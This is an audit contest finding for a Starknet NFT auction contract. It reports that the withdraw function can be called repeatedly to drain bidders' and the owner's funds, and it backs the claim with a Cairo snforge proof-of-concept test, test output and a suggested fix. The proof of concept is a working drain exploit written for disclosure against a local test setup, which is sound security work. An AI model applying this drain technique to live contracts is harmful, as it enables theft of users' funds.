Starknet Auction

First Flight #26

Beginner FriendlyNFT

100 EXP

View results

Previous Next

Submission Details

Severity: high

Valid

A malicious Bidder can call withdraw multiple times and steal funds

poolig4n

Description
Any bidder can call withdraw multiple times when the auction has finished. This allows a malicious user to steal funds from the protocol including from other bidders that did not win and the owner who is auctioning the NFT. This means:

The winner can claim their winning bid back plus any multiple of that bid that is in the balance of the contract.
Any bidder can repeatedly withdraw their most recent bid amount until the balance in the contract is less than or equal to their most recent bid amount.

NOTE: In addition to being able to be called repeatedly, the withdraw function is vulnerable to reentrancy attacks, although that is not demonstrated in this submission.

Impact
The majority of the funds collected in the auction can be stolen from the NFT owner and from other auction bidders.

Proof of Concept
snforge test test_withdraw_bids --features enable_for_tests

use snforge_std::{ declare, ContractClassTrait, DeclareResultTrait };

use snforge_std::{ start_cheat_caller_address_global, stop_cheat_caller_address_global, start_cheat_block_timestamp, stop_cheat_block_timestamp };

use core::traits::TryInto;

use core::serde::Serde;

use starknet::ContractAddress;

use openzeppelin::token::erc721::interface::{IERC721Dispatcher, IERC721DispatcherTrait};

use starknet_auction::starknet_auction::IStarknetAuctionDispatcher;

use starknet_auction::starknet_auction::IStarknetAuctionDispatcherTrait;

use starknet_auction::mock_erc20_token::IMockERC20TokenDispatcher;

use starknet_auction::mock_erc20_token::IMockERC20TokenDispatcherTrait;

use starknet::{ get_contract_address, get_block_timestamp};

fn deploy_auction_contract() -> (IStarknetAuctionDispatcher, ContractAddress, ContractAddress, ContractAddress) {

// Declare Starknet Auction contract.

let contract = declare("StarknetAuction").unwrap().contract_class();

// Define arguments.

let mut calldata = ArrayTrait::new();

// Declare and deploy the NFT token contract.

let erc721_contract = declare("MockERC721Token").unwrap().contract_class();

let mut erc721_args = ArrayTrait::new();

let recipient = get_contract_address();

(recipient, ).serialize(ref erc721_args);

let (erc721_contract_address, _) = erc721_contract.deploy(@erc721_args).unwrap();

// Declare and deploy the ERC20 token contract.

let erc20_contract = declare("MockERC20Token").unwrap().contract_class();

let mut erc20_args = ArrayTrait::new();

let (erc20_contract_address, _) = erc20_contract.deploy(@erc20_args).unwrap();

let nft_id = 1;

(erc20_contract_address, erc721_contract_address, nft_id, ).serialize(ref calldata);

// Deploy the Auction contract.

let (contract_address, _) = contract.deploy(@calldata).unwrap();

// Create a Dispatcher object that will allow interacting with the deployed Auction contract.

let dispatcher = IStarknetAuctionDispatcher { contract_address: contract_address };

// Create a Dispatcher object that will allow interacting with the deployed NFT contract.

let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };

erc721_dispatcher.approve(contract_address, 1);

(dispatcher, contract_address, erc20_contract_address, erc721_contract_address)

}

#[test]

//#[should_panic(expected: 'ERC20: insufficient allowance')]

fn test_withdraw_bids() {

let (auction_dispatcher, auction_contract, erc20_contract_address, erc721_contract_address) = deploy_auction_contract();

//The owner calls the start function and the auction begins.

auction_dispatcher.start(86400, 10);

let erc20_dispatcher = IMockERC20TokenDispatcher { contract_address: erc20_contract_address };

let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };

// Define the first bidder address

let first_bidder_address: ContractAddress = 123.try_into().unwrap();

// Define the second bidder address

let second_bidder_address: ContractAddress = 111.try_into().unwrap();

let mut erc20_balance_bidder:u256 = erc20_dispatcher.token_balance_of(first_bidder_address);

println!("First bidder initial balance: {erc20_balance_bidder}");

let mut erc20_balance_2bidder:u256 = erc20_dispatcher.token_balance_of(second_bidder_address);

println!("2nd bidder initial balance: {erc20_balance_2bidder}");

// FIRST BID

// as the first bidder - get some tokens and approve the contract to xfer

start_cheat_caller_address_global(first_bidder_address);

erc20_dispatcher.mint(first_bidder_address, 11);

erc20_dispatcher.token_approve(auction_contract, 11);

println!("First bidder minted and approved 11 tokens for their first bid");

//The first bidder calls the bid function with amount of 11.

auction_dispatcher.bid(11);

stop_cheat_caller_address_global();

// SECOND BID

// as the second bidder approve the auction contract to transferFrom their address

start_cheat_caller_address_global(second_bidder_address);

erc20_dispatcher.mint(second_bidder_address, 15);

erc20_dispatcher.token_approve(auction_contract, 15);

println!("Second bidder minted and approved 15 tokens for their first bid");

//The second bidder calls the bid function with amount of 15.

auction_dispatcher.bid(15);

stop_cheat_caller_address_global();

println!("Time passes and the auction finishes.");

// TIME PASSES

// the blockchain timestamp moves forward

let time = get_block_timestamp();

start_cheat_block_timestamp(auction_contract, time + 86401);

// PREP FOR REFUNDS and for WINNER

// as the contract approve the bidder amount to be refunded from the token contract to the bidder

// as the contract approve the nft for the winner

start_cheat_caller_address_global(auction_contract);

erc20_dispatcher.token_approve(first_bidder_address, 11); // failed bid amound

//Approve NFT xfer For WINNER

erc721_dispatcher.approve(second_bidder_address, 1);

stop_cheat_caller_address_global();

// END AUCTION

// end the auction and transfer the NFT to the winner.

auction_dispatcher.end();

//Check the balance of the auction contract.

let mut balance_auction_contract:u64 = erc20_dispatcher.token_balance_of(auction_contract).try_into().unwrap();

println!("Balance of auction contract after it's ended: {balance_auction_contract}");

// Check the balance of the first bidder before withdraw attempt,

// they didn't win so the should get their bid back according to the documentation.

erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);

println!("Before withdraw First bidder balance: {erc20_balance_bidder}");

start_cheat_caller_address_global(first_bidder_address);

// The first bidder calls the withdraw function and should get their total bids amount back.

auction_dispatcher.withdraw();

stop_cheat_caller_address_global();

// Check the balance of the first bidder after withdraw attempt,

// they didn't win so the should get their bid back according to the documentation.

erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);

println!("After withdraw First bidder balance: {erc20_balance_bidder}");

// assert( erc20_balance_bidder == 0, 'Expected erc20_balance_bidder == 0' );

// assert( balance_auction_contract == 26, 'Expected balance_auction_contract == 26' );

//ATTEMPT TO DRAIN

start_cheat_caller_address_global(auction_contract);

//start_cheat_caller_address_global(first_bidder_address);

erc20_dispatcher.token_approve(first_bidder_address, 11); // failed bid amound

stop_cheat_caller_address_global();

start_cheat_caller_address_global(first_bidder_address);

// The first bidder calls the withdra function and should get their total bids amount back.

auction_dispatcher.withdraw();

stop_cheat_caller_address_global();

erc20_balance_bidder = erc20_dispatcher.token_balance_of(first_bidder_address);

println!("After drain withdraw First bidder balance: {erc20_balance_bidder}");

//Check the balance of the auction contract.

balance_auction_contract = erc20_dispatcher.token_balance_of(auction_contract).try_into().unwrap();

println!("Balance of auction contract now: {balance_auction_contract}");

assert(erc20_balance_bidder > 11, 'Failed to drain');

stop_cheat_block_timestamp(auction_contract);

}

Output

As you can see in the output below, the first bidder only bid once, with the amount of 11 tokens. However they have made two calls to the withdraw function and stolen 11 tokens, giving them a total of 22 tokens. This leaves the NFT owner unable to widthdraw any funds as the protocol will attempt to transfer 15 tokens to them when they call withdraw; which will fail with an insufficient funds error.

Running 1 test(s) from tests/

First bidder initial balance: 0

2nd bidder initial balance: 0

First bidder minted and approved 11 tokens for their first bid

Second bidder minted and approved 15 tokens for their first bid

Time passes and the auction finishes.

Balance of auction contract after it's ended: 26

Before withdraw First bidder balance: 0

After withdraw First bidder balance: 11

After drain withdraw First bidder balance: 22

Balance of auction contract now: 4

[PASS] starknet_auction_integrationtest::test_bid_refund::test_withdraw_bids (gas: ~2343)

Running 0 test(s) from src/

Tests: 1 passed, 0 failed, 0 skipped, 0 ignored, 1 filtered out

Recommended mitigation

Improve internal accounting of bids by each user such that a user may only call withdraw once and claim their total bids amount in one call.

References
N/A

Tools Used

Manual Review

Updates

Lead Judging Commences

bube Lead Judge 9 months ago

Submission Judgement Published

Validated

Assigned finding tags:

Reentrancy in `withdraw` function

The `withdraw` function doesn't reset the `bid_values` to 0 after the withdraw. That means the bidder can call multiple time the `withdraw` function and receive the whole balance of the protocol.

Rewards breakdown

nSLOC

132

This contest has a flat reward structure with the following payouts:

High

100 EXP

Medium

20 EXP

Low

2 EXP

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.